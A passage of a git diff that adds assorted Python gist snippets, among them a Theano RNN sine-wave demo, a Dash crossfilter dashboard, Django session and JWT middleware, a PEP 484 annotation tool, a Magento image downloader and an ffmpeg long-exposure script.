+++ b/hard-gists/9b1e305543f6fcc9318a/snippet.py
@@ -0,0 +1,185 @@
+# Author: Kyle Kastner
+# License: BSD 3-clause
+# THEANO_FLAGS="optimizer=None,compute_test_value=raise" python tanh_rnn.py
+import numpy as np
+import theano
+import theano.tensor as T
+from scipy import linalg
+
+
+class sgd(object):
+    # Only here for API conformity with other optimizers
+    def __init__(self, params):
+        pass
+
+    def updates(self, params, grads, learning_rate):
+        updates = []
+        for n, (param, grad) in enumerate(zip(params, grads)):
+            updates.append((param, param - learning_rate * grad))
+        return updates
+
+
+def np_zeros(shape):
+    """ Builds a numpy variable filled with zeros """
+    return np.zeros(shape).astype(theano.config.floatX)
+
+
+def np_rand(shape, rng):
+    """ Builds a numpy variable filled with random values """
+    return (0.01 * (rng.rand(*shape) - 0.5)).astype(theano.config.floatX)
+
+
+def np_ortho(shape, rng, name=None):
+    """ Builds a numpy variable filled with orthonormal random values """
+    g = rng.randn(*shape)
+    o_g = linalg.svd(g)[0]
+    return o_g.astype(theano.config.floatX)
+
+
+minibatch_size = 4
+# number of input units
+n_in = 1
+# number of hidden units
+n_hid = 20
+# number of output units
+n_out = 1
+
+# Generate sinewaves offset in phase
+n_timesteps = 50
+n_full = 10 * n_timesteps
+d1 = 3 * np.arange(n_full) / (2 * np.pi)
+d2 = 3 * np.arange(minibatch_size) / (2 * np.pi)
+full_sines = np.sin(np.array([d1] * minibatch_size).T + d2)
+# Uncomment to add harmonics
+#full_sines += np.sin(np.array([1.7 * d1] * minibatch_size).T + d2)
+#full_sines += np.sin(np.array([7.362 * d1] * minibatch_size).T + d2)
+# Uncomment to switch to square waves
+#full_sines[full_sines <= 0] = 0
+#full_sines[full_sines > 0] = 1
+full_sines = full_sines[:, :, None]
+
+# Setup dataset and initial hidden vector of zeros
+all_sines = full_sines[:n_timesteps]
+X = all_sines[:-1]
+y = all_sines[1:]
+h_init = np_zeros((minibatch_size, n_hid))
+
+# input (where first dimension is time)
+X_sym = T.tensor3()
+# target (where first dimension is time)
+y_sym = T.tensor3()
+# initial hidden state of the RNN
+h0 = T.dmatrix()
+
+# tag.test_value is crucial for debugging! Run the script with
+# THEANO_FLAGS="compute_test_value=raise,optimizer=None"
+# for cleaner debugging
+X_sym.tag.test_value = X[:10]
+y_sym.tag.test_value = y[:10]
+h0.tag.test_value = h_init
+
+# Using checked versions should allow for both float32 and float64 theano flags
+X_check = T.cast(X_sym, theano.config.floatX)
+y_check = T.cast(y_sym, theano.config.floatX)
+h0_check = T.cast(h0, theano.config.floatX)
+
+# Setup weights
+random_state = np.random.RandomState(1999)
+# Orthogonal initialization is good for recurrent (square) matrices!
+# Advances in Optimizing Recurrent Networks
+# Bengio, Boulanger-Lewandowski, Pascanu
+# Section 2
+# http://arxiv.org/pdf/1212.0901v2.pdf
+# U stores information necessary for GRU
+W_hid_np = np_ortho((n_hid, n_hid), random_state)
+W_in_np = np_rand((n_in, n_hid), random_state)
+b_in_np = np_zeros((n_hid,))
+W_out_np = np_rand((n_hid, n_out), random_state)
+b_out_np = np_zeros((n_out,))
+
+# hidden to hidden weights
+W_hid = theano.shared(W_hid_np, borrow=True)
+# input to hidden layer weights
+W_in = theano.shared(W_in_np, borrow=True)
+# input to hidden bias
+b_in = theano.shared(b_in_np, borrow=True)
+# hidden to output layer weights
+W_out = theano.shared(W_out_np, borrow=True)
+# hidden to output bias
+b_out = theano.shared(b_out_np, borrow=True)
+
+# Begin model
+# linear projection from input "into" recurrent
+# do it here to better exploit parallelism
+proj_X = T.dot(X_check, W_in) + b_in
+theano.printing.Print("proj_X.shape")(proj_X.shape)
+
+# recurrent function (using tanh activation function)
+def step(in_t, h_tm1, W_hid):
+    h_t = T.tanh(in_t + T.dot(h_tm1, W_hid))
+    theano.printing.Print("h_t.shape")(h_t.shape)
+    return h_t
+
+# Another debug tip - try calling your scan function directly to debug internals
+# step(X_check[0], h0_check, W_in, W_hid)
+
+# the hidden state `h` for the entire sequence
+h, _ = theano.scan(step,
+                   sequences=[proj_X],
+                   outputs_info=[h0_check],
+                   non_sequences=[W_hid])
+theano.printing.Print("h.shape")(h.shape)
+
+# linear output activation
+y_hat = T.dot(h, W_out) + b_out
+theano.printing.Print("y_hat.shape")(y_hat.shape)
+
+# Parameters of the model
+params = [W_in, b_in, W_hid, W_out, b_out]
+# error between output and target
+cost = ((y_check - y_hat) ** 2).sum()
+# gradients on the weights using BPTT
+grads = T.grad(cost, params)
+
+# Use stochastic gradient descent to optimize
+opt = sgd(params)
+learning_rate = 0.001
+updates = opt.updates(params, grads, learning_rate)
+
+# By returning h we can train while preserving hidden state from previous
+# samples. This can allow for truncated backprop through time (TBPTT)!
+fit_function = theano.function([X_sym, y_sym, h0], [cost, h], updates=updates)
+predict_function = theano.function([X_sym, h0], [y_hat, h])
+
+epochs = 2000
+# Print 50 status updates along with last
+status_points = list(range(epochs))
+status_points = status_points[::epochs // 50] + [status_points[-1]]
+for i in range(epochs):
+    ii = np.arange(minibatch_size).astype("int32")
+    random_state.shuffle(ii)
+    Xi = X[:, ii]
+    yi = y[:, ii]
+    pred, _ = predict_function(Xi, h_init)
+    err, _ = fit_function(Xi, yi, h_init)
+    if i in status_points:
+        print("Epoch %i: err %f" % (i, err))
+
+# Run on self generations
+n_seed = n_timesteps // 4
+X_grow = X[:n_seed]
+for i in range(n_timesteps // 4, n_full):
+    p, _ = predict_function(X_grow, h_init)
+    # take last prediction only
+    X_grow = np.concatenate((X_grow, p[-1][None]))
+
+import matplotlib.pyplot as plt
+f, axarr1 = plt.subplots(minibatch_size)
+for i in range(minibatch_size):
+    # -1 to have the same dims
+    axarr1[i].plot(full_sines[:-1, i, 0], color="steelblue")
+
+f, axarr2 = plt.subplots(minibatch_size)
+for i in range(minibatch_size):
+    axarr2[i].plot(p[:, i, 0], color="darkred")
+plt.show()
diff --git a/hard-gists/9b2b3e8a6c67697279d3724dce5dab3c/._snippet.py b/hard-gists/9b2b3e8a6c67697279d3724dce5dab3c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9b2b3e8a6c67697279d3724dce5dab3c/._snippet.py differ
diff --git a/hard-gists/9b2b3e8a6c67697279d3724dce5dab3c/snippet.py b/hard-gists/9b2b3e8a6c67697279d3724dce5dab3c/snippet.py
new file mode 100644
index 00000000..512bce6e
--- /dev/null
+++ b/hard-gists/9b2b3e8a6c67697279d3724dce5dab3c/snippet.py
@@ -0,0 +1,163 @@
+import dash
+import dash_core_components as dcc
+import dash_html_components as html
+import plotly.graph_objs as go
+import pandas as pd
+
+app = dash.Dash()
+
+df = pd.read_csv(
+    'https://gist.githubusercontent.com/chriddyp/'
+    'cb5392c35661370d95f300086accea51/raw/'
+    '8e0768211f6b747c0db42a9ce9a0937dafcbd8b2/'
+    'indicators.csv')
+
+available_indicators = df['Indicator Name'].unique()
+
+app.layout = html.Div([
+    html.Div([
+
+        html.Div([
+            dcc.Dropdown(
+                id='crossfilter-xaxis-column',
+                options=[{'label': i, 'value': i} for i in available_indicators],
+                value='Fertility rate, total (births per woman)'
+            ),
+            dcc.RadioItems(
+                id='crossfilter-xaxis-type',
+                options=[{'label': i, 'value': i} for i in ['Linear', 'Log']],
+                value='Linear',
+                labelStyle={'display': 'inline-block'}
+            )
+        ],
+        style={'width': '49%', 'display': 'inline-block'}),
+
+        html.Div([
+            dcc.Dropdown(
+                id='crossfilter-yaxis-column',
+                options=[{'label': i, 'value': i} for i in available_indicators],
+                value='Life expectancy at birth, total (years)'
+            ),
+            dcc.RadioItems(
+                id='crossfilter-yaxis-type',
+                options=[{'label': i, 'value': i} for i in ['Linear', 'Log']],
+                value='Linear',
+                labelStyle={'display': 'inline-block'}
+            )
+        ], style={'width': '49%', 'float': 'right', 'display': 'inline-block'})
+    ], style={
+        'borderBottom': 'thin lightgrey solid',
+        'backgroundColor': 'rgb(250, 250, 250)',
+        'padding': '10px 5px'
+    }),
+
+    html.Div([
+        dcc.Graph(
+            id='crossfilter-indicator-scatter',
+            hoverData={'points': [{'customdata': 'Japan'}]}
+        )
+    ], style={'width': '49%', 'display': 'inline-block', 'padding': '0 20'}),
+    html.Div([
+        dcc.Graph(id='x-time-series'),
+        dcc.Graph(id='y-time-series'),
+    ], style={'display': 'inline-block', 'width': '49%'}),
+
+    html.Div(dcc.Slider(
+        id='crossfilter-year--slider',
+        min=df['Year'].min(),
+        max=df['Year'].max(),
+        value=df['Year'].max(),
+        step=None,
+        marks={str(year): str(year) for year in df['Year'].unique()}
+    ), style={'width': '49%', 'padding': '0px 20px 20px 20px'})
+])
+
+@app.callback(
+    dash.dependencies.Output('crossfilter-indicator-scatter', 'figure'),
+    [dash.dependencies.Input('crossfilter-xaxis-column', 'value'),
+     dash.dependencies.Input('crossfilter-yaxis-column', 'value'),
+     dash.dependencies.Input('crossfilter-xaxis-type', 'value'),
+     dash.dependencies.Input('crossfilter-yaxis-type', 'value'),
+     dash.dependencies.Input('crossfilter-year--slider', 'value')])
+def update_graph(xaxis_column_name, yaxis_column_name,
+                 xaxis_type, yaxis_type,
+                 year_value):
+    dff = df[df['Year'] == year_value]
+
+    return {
+        'data': [go.Scatter(
+            x=dff[dff['Indicator Name'] == xaxis_column_name]['Value'],
+            y=dff[dff['Indicator Name'] == yaxis_column_name]['Value'],
+            text=dff[dff['Indicator Name'] == yaxis_column_name]['Country Name'],
+            customdata=dff[dff['Indicator Name'] == yaxis_column_name]['Country Name'],
+            mode='markers',
+            marker={
+                'size': 15,
+                'opacity': 0.5,
+                'line': {'width': 0.5, 'color': 'white'}
+            }
+        )],
+        'layout': go.Layout(
+            xaxis={
+                'title': xaxis_column_name,
+                'type': 'linear' if xaxis_type == 'Linear' else 'log'
+            },
+            yaxis={
+                'title': yaxis_column_name,
+                'type': 'linear' if yaxis_type == 'Linear' else 'log'
+            },
+            margin={'l': 40, 'b': 30, 't': 10, 'r': 0},
+            height=450,
+            hovermode='closest'
+        )
+    }
+
+def create_time_series(dff, axis_type, title):
+    return {
+        'data': [go.Scatter(
+            x=dff['Year'],
+            y=dff['Value'],
+            mode='lines+markers'
+        )],
+        'layout': {
+            'height': 225,
+            'margin': {'l': 20, 'b': 30, 'r': 10, 't': 10},
+            'annotations': [{
+                'x': 0, 'y': 0.85, 'xanchor': 'left', 'yanchor': 'bottom',
+                'xref': 'paper', 'yref': 'paper', 'showarrow': False,
+                'align': 'left', 'bgcolor': 'rgba(255, 255, 255, 0.5)',
+                'text': title
+            }],
+            'yaxis': {'type': 'linear' if axis_type == 'Linear' else 'log'},
+            'xaxis': {'showgrid': False}
+        }
+    }
+
+@app.callback(
+    dash.dependencies.Output('x-time-series', 'figure'),
+    [dash.dependencies.Input('crossfilter-indicator-scatter', 'hoverData'),
+     dash.dependencies.Input('crossfilter-xaxis-column', 'value'),
+     dash.dependencies.Input('crossfilter-xaxis-type', 'value')])
+def update_y_timeseries(hoverData, xaxis_column_name, axis_type):
+    country_name = hoverData['points'][0]['customdata']
+    dff = df[df['Country Name'] == country_name]
+    dff = dff[dff['Indicator Name'] == xaxis_column_name]
+    title = '<b>{}</b><br>{}'.format(country_name, xaxis_column_name)
+    return create_time_series(dff, axis_type, title)
+
+@app.callback(
+    dash.dependencies.Output('y-time-series', 'figure'),
+    [dash.dependencies.Input('crossfilter-indicator-scatter', 'hoverData'),
+     dash.dependencies.Input('crossfilter-yaxis-column', 'value'),
+     dash.dependencies.Input('crossfilter-yaxis-type', 'value')])
+def update_x_timeseries(hoverData, yaxis_column_name, axis_type):
+    dff = df[df['Country Name'] == hoverData['points'][0]['customdata']]
+    dff = dff[dff['Indicator Name'] == yaxis_column_name]
+    return create_time_series(dff, axis_type, yaxis_column_name)
+
+app.css.append_css({
+    'external_url': 'https://codepen.io/chriddyp/pen/bWLwgP.css'
+})
+
+if __name__ == '__main__':
+    app.run_server()
diff --git a/hard-gists/9b7787a607a5a676c6d8/._snippet.py b/hard-gists/9b7787a607a5a676c6d8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9b7787a607a5a676c6d8/._snippet.py differ
diff --git a/hard-gists/9b7787a607a5a676c6d8/snippet.py b/hard-gists/9b7787a607a5a676c6d8/snippet.py
new file mode 100644
index 00000000..61d90e2a
--- /dev/null
+++ b/hard-gists/9b7787a607a5a676c6d8/snippet.py
@@ -0,0 +1,26 @@
+# Read more at http://www.pindi.us/blog/migrating-cross-domain-cookies-django
+
+from django.conf import settings
+from importlib import import_module
+
+class UpdateSessionCookieMiddleware(object):
+    """
+        Migrates session data from an old (hardcoded) session cookie name and domain to the name and
+        domain currently defined in the Django settings.
+        
+        Should be placed after SessionMiddleware but before any middleware that uses request.session.
+    """
+
+    def process_request(self, request):
+        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)
+        if session_key is None:
+            old_session_key = request.COOKIES.get('sessionid', None)
+            if old_session_key:
+                engine = import_module(settings.SESSION_ENGINE)
+                old_session = engine.SessionStore(old_session_key)
+                for key, value in old_session.items():
+                    request.session[key] = value
+            request.session.save()
+
+    def process_response(self, response):
+        response.delete_cookie('sessionid', domain='www.getstudyroom.com')
\ No newline at end of file
diff --git a/hard-gists/9bb9eaea2523cd2144cf959f48a14194/._snippet.py b/hard-gists/9bb9eaea2523cd2144cf959f48a14194/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9bb9eaea2523cd2144cf959f48a14194/._snippet.py differ
diff --git a/hard-gists/9bb9eaea2523cd2144cf959f48a14194/snippet.py b/hard-gists/9bb9eaea2523cd2144cf959f48a14194/snippet.py
new file mode 100644
index 00000000..f0a01eb8
--- /dev/null
+++ b/hard-gists/9bb9eaea2523cd2144cf959f48a14194/snippet.py
@@ -0,0 +1,36 @@
+from django.utils.functional import SimpleLazyObject
+from django.contrib.auth.models import AnonymousUser
+
+from rest_framework.request import Request
+from rest_framework_jwt.authentication import JSONWebTokenAuthentication
+
+
+def get_user_jwt(request):
+    """
+    Replacement for django session auth get_user & auth.get_user for
+     JSON Web Token authentication. Inspects the token for the user_id,
+     attempts to get that user from the DB & assigns the user on the
+     request object. Otherwise it defaults to AnonymousUser.
+
+    This will work with existing decorators like LoginRequired, whereas
+    the standard restframework_jwt auth only works at the view level
+    forcing all authenticated users to appear as AnonymousUser ;)
+
+    Returns: instance of user object or AnonymousUser object
+    """
+    user = None
+    try:
+        user_jwt = JSONWebTokenAuthentication().authenticate(Request(request))
+        if user_jwt is not None:
+            # store the first part from the tuple (user, obj)
+            user = user_jwt[0]
+    except:
+        pass
+
+    return user or AnonymousUser()
+
+
+class JWTAuthenticationMiddleware(object):
+    """ Middleware for authenticating JSON Web Tokens in Authorize Header """
+    def process_request(self, request):
+        request.user = SimpleLazyObject(lambda : get_user_jwt(request))
\ No newline at end of file
diff --git a/hard-gists/9bde6d0985bd71b103d3/._snippet.py b/hard-gists/9bde6d0985bd71b103d3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9bde6d0985bd71b103d3/._snippet.py differ
diff --git a/hard-gists/9bde6d0985bd71b103d3/snippet.py b/hard-gists/9bde6d0985bd71b103d3/snippet.py
new file mode 100644
index 00000000..464ddb33
--- /dev/null
+++ b/hard-gists/9bde6d0985bd71b103d3/snippet.py
@@ -0,0 +1,74 @@
+"""
+Transforms a normal Python file to pep484 annotations using Jedi.
+
+Usage:
+    pep484transform.py <file> [-d]
+
+Options:
+    -d, --debug  Show Jedi's debug output.
+"""
+from os.path import abspath
+from itertools import chain
+import jedi
+from jedi.evaluate.finder import _eval_param
+
+
+def transform(file_name, debug=False):
+    """
+    Takes a file name returns the transformed text.
+    """
+    if debug:
+        jedi.set_debug_function()
+
+    names = jedi.names(path=file_name, all_scopes=True)
+    param_names = [p for p in names if p.type == 'param']
+    for param in param_names:
+        # This is all very complicated and basically should just be replaced
+        # with param.goto_definition(), once that api is being added (it's
+        # planned).
+        e = param._evaluator
+        jedi_obj = param._definition
+        types = _eval_param(e, jedi_obj, jedi_obj.get_parent_scope())
+
+        if types and param.name != 'self':
+            # Now refactor, Jedi has a round-trippable parser, yay!
+            annotation = types_to_string(types, abspath(file_name))
+            jedi_obj.name.value += ': ' + annotation
+
+    # Get the module and generate the code.
+    return jedi_obj.get_parent_until().get_code()
+
+
+def types_to_string(types, path):
+    transformed = set(type_to_string(typ, path) for typ in types)
+    if len(transformed) == 1:
+        return list(transformed)[0]
+    else:
+        # If wanted we could filter other modules with:
+        # if typ.get_parent_until().path == path
+        s = ', '.join(transformed)
+        return 'Union[%s]' % s
+
+
+def type_to_string(typ, path):
+    name = str(typ.name)
+    # Possibility to do various transformations, here's one for list and set.
+    if str(typ.get_parent_until().name) == 'builtins':
+        if name == 'NoneType':
+            name = 'None'
+        elif name in ('list', 'set'):
+            types = list(chain.from_iterable(typ.py__iter__()))
+            # If no types are available, don't transform to e.g. List[int], just
+            # use list.
+            if types:
+                # Recurse!
+                s = types_to_string(types, path)
+                name = '%s%s[%s]' % (name[0].upper(), name[1:], s)
+    return name
+
+
+if __name__ == '__main__':
+    import docopt
+
+    result = docopt.docopt(__doc__)
+    print(transform(result['<file>'], result['--debug']))
diff --git a/hard-gists/9be3d2aa4930ecd8e536/._snippet.py b/hard-gists/9be3d2aa4930ecd8e536/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9be3d2aa4930ecd8e536/._snippet.py differ
diff --git a/hard-gists/9be3d2aa4930ecd8e536/snippet.py b/hard-gists/9be3d2aa4930ecd8e536/snippet.py
new file mode 100644
index 00000000..3c299f62
--- /dev/null
+++ b/hard-gists/9be3d2aa4930ecd8e536/snippet.py
@@ -0,0 +1,317 @@
+#!/usr/bin/python
+"""
+python3.4 ~/PycharmProjects/learn-python/download-images.py -u {url} -v
+"""
+import sys
+import os
+import getopt
+from lxml import html
+import urllib.request
+import urllib.error
+from urllib.request import urlopen
+import urllib.parse
+import threading
+import math
+import re
+ 
+# COLORS
+HEADER = '\033[95m'
+OKBLUE = '\033[94m'
+OKGREEN = '\033[92m'
+WARNING = '\033[93m'
+FAIL = '\033[91m'
+ENDC = '\033[0m'
+ 
+# variables
+verbose = False
+replace_files = False
+base_url = ''
+regex = re.compile("catalog/product/cache/\d+?/")
+ 
+ 
+def error(message=""):
+    print("{1}{0}{2}".format(message, FAIL, ENDC))
+ 
+ 
+def warning(message):
+    print("{0}{1}{2}".format(WARNING, message, ENDC))
+ 
+ 
+def print_help():
+    print("USAGE:")
+    print("  options:")
+    print("    -u {{url}} -> {0}required*{1}".format(WARNING, ENDC))
+    print("    -p {path} -> default is the current directory")
+    print("    -v -> show execution messages")
+    print("    -r -> replace files")
+    print("    --user {username} -> for http authentication")
+    print("    --pass {password} -> for http authentication")
+    print("    --realm {string} -> for http authentication")
+ 
+ 
+def call_with_custom_opener(url=None, realm="Staging Area", user='', password=''):
+    """ call external site and get site response object """
+    global verbose
+ 
+    if url is None:
+        print("Please pass a URL to the function")
+ 
+    if verbose:
+        print("Send request to {0} with user:{1} and password:{2}".format(url, user, password))
+ 
+    url_parser_object = urllib.parse.urlparse(url)
+    uri = url_parser_object.netloc
+    # set up authentication info
+    auth_handler = urllib.request.HTTPBasicAuthHandler()
+    auth_handler.add_password(realm, uri, user, password)
+    # add HTTPBasicAuthentication handler to opener object
+    opener = urllib.request.build_opener(auth_handler)
+    # add the opener to the request object
+    urllib.request.install_opener(opener)
+    try:
+        res = opener.open(url)
+        return res
+    except IOError as e:
+        if hasattr(e, 'code'):
+            if e.code != 401:
+                error('We got another error')
+                print(e.code)
+            else:
+                error("We have a authentication problem")
+                print(e.headers)
+                print(e.headers['www-authenticate'])
+    if verbose:
+        error("No result returned")
+    return None
+ 
+ 
+class ImagesDownloaderThread(threading.Thread):
+    """ download images in a thread """
+    base_path = '.'
+    images_list = []
+ 
+    def __init__(self, name='', images_list=[], base_path="."):
+        threading.Thread.__init__(self, name=name)
+        if images_list:
+            self.images_list = images_list
+        self.base_path = base_path
+ 
+    def run(self):
+        for image_url in self.images_list:
+            self.copy_image_to_local(image_url)
+ 
+    def copy_image_to_local(self, image_url=''):
+        """ copy files locally """
+        global verbose, replace_files, base_url
+ 
+        image_url = self.prepare_url(image_url)
+        if not image_url:
+            return
+ 
+        save_into_file = get_image_save(image_url=image_url, path=self.base_path)
+        response = open_url(image_url, string_prefix=self.getName() + " -> ")
+ 
+        if response is not None:
+            if os.path.isfile(save_into_file):
+                if replace_files:
+                    if verbose:
+                        warning(self.getName() + " -> Removing file: " + str(save_into_file))
+                    os.unlink(save_into_file)
+                else:
+                    return
+            image = open(save_into_file, "wb")
+            content = response.read()
+            image.write(content)
+            image.close()
+ 
+    def prepare_url(self, url):
+        global base_url
+        parse_object = urllib.parse.urlparse(url=url)
+        if not bool(parse_object.scheme):
+            url = base_url + url
+            warning(self.getName() + " -> invalid URL changed to: " + str(url))
+        return url
+ 
+ 
+def get_image_path(image_url):
+    """ get image path from url """
+    parsed_url = urllib.parse.urlparse(url=image_url)
+    return parsed_url.path
+ 
+ 
+def open_url(url, post_data=None, header_raw=None, string_prefix=''):
+    """ open url and mask user agent to the chrome one
+    and returns a Request object """
+    global verbose
+    if verbose:
+        print(string_prefix + "Call URL: {0}".format(url))
+ 
+    try:
+        if header_raw is None:
+            header_raw = {
+                'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36"
+            }
+        if post_data is not None:
+            post_data = urllib.parse.urlencode(post_data)
+ 
+        request = urllib.request.Request(url, headers=header_raw)
+        request_object = urllib.request.urlopen(request, post_data)
+        return request_object
+    except urllib.error.URLError as e:
+        error(string_prefix + "Exception for URL: {0}".format(url))
+        print(string_prefix + e.reason)
+    except Exception as e:
+        error(string_prefix + "Exception for URL: {0}".format(url))
+        print(string_prefix + str(e))
+ 
+ 
+def get_image_save(image_url, path=".", create_dir=False):
+    """ get image save path, and create a directory if needed """
+    if path == '':
+        return ""
+    image_path = get_image_path(image_url)
+    add_slash = ""
+    try:
+        if path[-1] != os.sep and image_path[0] != os.sep:
+            # check if we have slash at the end of the path or the beginning of the image_path
+            add_slash = os.sep
+    except (KeyError, IndexError) as e: # For dict, list|tuple
+        error('could not get it')
+    save_into_file = "{0}{1}{2}".format(path, add_slash, image_path)
+    if create_dir:
+        image_directory = os.path.dirname(save_into_file)
+        if image_directory == '':
+            return "" 
+        if not os.path.isdir(image_directory):
+            if verbose:
+                warning("Creating a directory: " + str(image_directory))
+            os.makedirs(image_directory)  # create image directory if it doesn't exist
+ 
+    return save_into_file
+ 
+ 
+def is_magento_cache_url(image_url=''):
+    global regex
+    if image_url == '':
+        warning(image_url + ' is not a URL')
+        return False
+    if regex.search(image_url):
+        # match catalog/product/cache/ + any number + /
+        return True
+    return False
+ 
+ 
+def get_non_cache_url(image_url):
+    # replace the cache path
+    no_cache_image_url = re.sub("cache/\d.*/[0-9a-zA-Z][0-9a-zA-Z]+/", '', image_url)
+    
+    try:
+		# fix for nice images + 
+        search_string = "media/catalog/product/"
+        start_index = int(no_cache_image_url.index(search_string)) + len(search_string)
+        image_path_in_products_dir = no_cache_image_url[start_index:]
+        if (image_path_in_products_dir.count('/')) > 2:
+            file_extension = no_cache_image_url[no_cache_image_url.rfind("."):]
+            no_cache_image_url = re.sub("\/[^\/]*$", '', no_cache_image_url)
+            no_cache_image_url = no_cache_image_url + file_extension
+    except ValueError as err:
+        pass
+    return no_cache_image_url
+ 
+ 
+def execute_program(url, user, password, realm, path="."):
+    global verbose
+ 
+    if user != '' and password != '':
+        if verbose:
+            print("Call with realm authentication")
+        request_object = call_with_custom_opener(url=url, realm=realm, user=user, password=password)
+    else:
+        if verbose:
+            print("Call with NO realm authentication")
+        request_object = open_url(url)
+ 
+    doc = html.parse(request_object).getroot()
+    images = []
+    for elem in doc.iter():
+        if elem.tag == 'img':
+            image_url = elem.get("src")
+            if is_magento_cache_url(image_url):
+                image_url = get_non_cache_url(image_url)
+ 
+            get_image_save(image_url=image_url, path=path, create_dir=True)
+            if image_url not in images:
+                images.append(image_url)
+ 
+    number_of_images = len(images)
+    number_of_threads_to_spawn = 7  # todo: make this an argument
+    elements_per_thread = math.ceil(number_of_images / number_of_threads_to_spawn)
+    for i in range(number_of_threads_to_spawn):
+        # run a thread to download all images
+        starting_index = i*elements_per_thread
+        end_index = starting_index + elements_per_thread
+        download_images = images[starting_index:end_index]
+ 
+        if not download_images:
+            continue
+ 
+        new_thread = ImagesDownloaderThread(name="Thread-{0}".format(i + 1), images_list=download_images, base_path=path)
+        new_thread.start()
+ 
+ 
+def set_base_url(url):
+    global base_url
+    parse_object = urllib.parse.urlparse(url=url)
+    if parse_object:
+        base_url = parse_object.scheme + '://' + parse_object.netloc
+ 
+ 
+def main():
+    global verbose  # if true display errors
+    global replace_files  # remove and replace existing files
+ 
+    url = ''  # url from which to take the data
+    user = ''  # server realm used to http authentication
+    password = ''  # server realm used to http authentication
+    realm = ''  # server realm used to http authentication
+    path = '.'  # path where the files will be save
+ 
+    try:
+        # opts is the declared options in this
+        # args is left over arguments passed to the script
+        options, args = getopt.getopt(sys.argv[1:], "u:hvpr", ["user=", "password=", "realm=", "help", "path"])
+    except getopt.GetoptError as err:
+        # print help information and exit:
+        print(err)
+        print_help()
+        sys.exit(2)
+ 
+    for option, value in options:
+        if option == "-v":
+            verbose = True
+        elif option in ("-h", "--help"):
+            print_help()
+            sys.exit()
+        elif option == "-u":
+            url = value
+            set_base_url(url)
+        elif option == "--user":
+            user = value
+        elif option == "--password":
+            password = value
+        elif option == "--realm":
+            realm = value
+        elif option in ("-p", "--path"):
+            path = value
+        elif option == "-r":
+            replace_files = True
+ 
+    if url == '':
+        error("No URL was given, check help for more information (-h, --help)")
+        sys.exit()
+ 
+    execute_program(url=url, user=user, password=password, realm=realm, path=path)
+ 
+ 
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/9c1614281797ce620c6069476d39c7b8/._snippet.py b/hard-gists/9c1614281797ce620c6069476d39c7b8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9c1614281797ce620c6069476d39c7b8/._snippet.py differ
diff --git a/hard-gists/9c1614281797ce620c6069476d39c7b8/snippet.py b/hard-gists/9c1614281797ce620c6069476d39c7b8/snippet.py
new file mode 100644
index 00000000..8d1ff992
--- /dev/null
+++ b/hard-gists/9c1614281797ce620c6069476d39c7b8/snippet.py
@@ -0,0 +1,84 @@
+# This script takes a video's individual frames and overlays them to produce a composite "long exposure" image.
+#
+# Usage: python expose.py video.mp4 width height
+#
+# IMPORTANT: you'll need to edit this script to set the value of 'alpha' appropriate for your video's length and desired brightness.
+
+from __future__ import division
+import subprocess as sp
+import numpy
+from PIL import Image, ImageDraw
+import re
+import time
+import sys
+
+# Alpha is the opacity of each frame. I've had success with values of 5/n to 36/n, where n
+# is the number of frames in your video. You'll have to experiment. Sample values:
+# 72 frame video: 0.069 (5/72)
+# 12286 frame video: 0.0003 (36/12286)
+alpha = 0.01
+print("Default value for alpha: {}".format(alpha))
+
+# Command you use to launch ffmpeg. In Windows you might need to use FFMPEG_BIN="ffmpeg.exe"; Linux/OSX should be OK.
+FFMPEG_BIN = "ffmpeg"
+
+# Timestamp so you can see how long it took
+start_time = "Script started at " + time.strftime("%H:%M:%S")
+print(start_time)
+
+# optional starting time hh:mm:ss.ff; default value set to 00:00:00.0
+hh = "%02d" % (0,)
+mm = ":%02d" % (0,)
+ss = ":%02d" % (0,)
+ff = ".0"
+print "Timestamp for first frame: "+hh+mm+ss+ff
+
+# input file (first argument)
+filename = str(sys.argv[1])
+width = int(sys.argv[2])
+height = int(sys.argv[3])
+# output image file (same as input file, with non-alphanums stripped):
+outfilename = re.sub(r'\W+', '', filename) + ".png"
+print("Filename: {}".format(filename))
+print("Dimensions: {},{}".format(width,height))
+
+###
+### This section: credit to http://zulko.github.io/blog/2013/09/27/read-and-write-video-frames-in-python-using-ffmpeg/
+
+# Open the video file. 
+command = [ FFMPEG_BIN,
+            '-threads', '4',
+            '-ss', hh+mm+ss,
+            '-i', filename,
+            '-f', 'image2pipe',
+            # '-filter:v', 'setpts=PTS/8', # optional; take every 8th frame; offers some performance improvement
+            '-pix_fmt', 'rgb24',
+            '-vcodec', 'rawvideo', '-']
+pipe = sp.Popen(command, stdout = sp.PIPE, bufsize=10**8)
+
+# create a numpy array from the first video frame; we'll add subsequent frames on top
+frame = numpy.fromstring(pipe.stdout.read(width*height*3), dtype='uint8').reshape((height,width,3)) * alpha
+
+# x is optional; you might want to use it to break the 'while' loop in testing
+x=0
+# stack more frames on top
+while pipe.stdout.read(width*height*3):
+    try:
+        # read the next frame from the pipe
+        nextframe = numpy.fromstring(pipe.stdout.read(width*height*3), dtype='uint8').reshape((height,width,3)) * alpha
+        # add the current frame to the composite frame; doing it this way prevents 8-bit values rolling over from 255 to 0
+        # (from http://stackoverflow.com/questions/29611185/avoid-overflow-when-adding-numpy-arrays)
+        nextframe = 255 - nextframe
+        numpy.putmask(frame, nextframe < frame, nextframe)
+        frame += 255 - nextframe    
+    except:
+        print("No more frames to process (or error occurred). Number of frames processed:", x)
+    x += 1
+    
+frame = frame.astype('uint8') # convert frame pixel values to correct dtype before saving
+im = Image.fromarray(frame)
+im.save("output.png")
+
+print(start_time)
+print("Script finished at {}".format(time.strftime("%H:%M:%S")))
+print("Total frames processed: {}".format(x))
\ No newline at end of file
diff --git a/hard-gists/9c411d2b88eab4232cc66a9c7f6988fc/._snippet.py b/hard-gists/9c411d2b88eab4232cc66a9c7f6988fc/._snippet.py
new file mode 100644
index 00000000..cd8af967
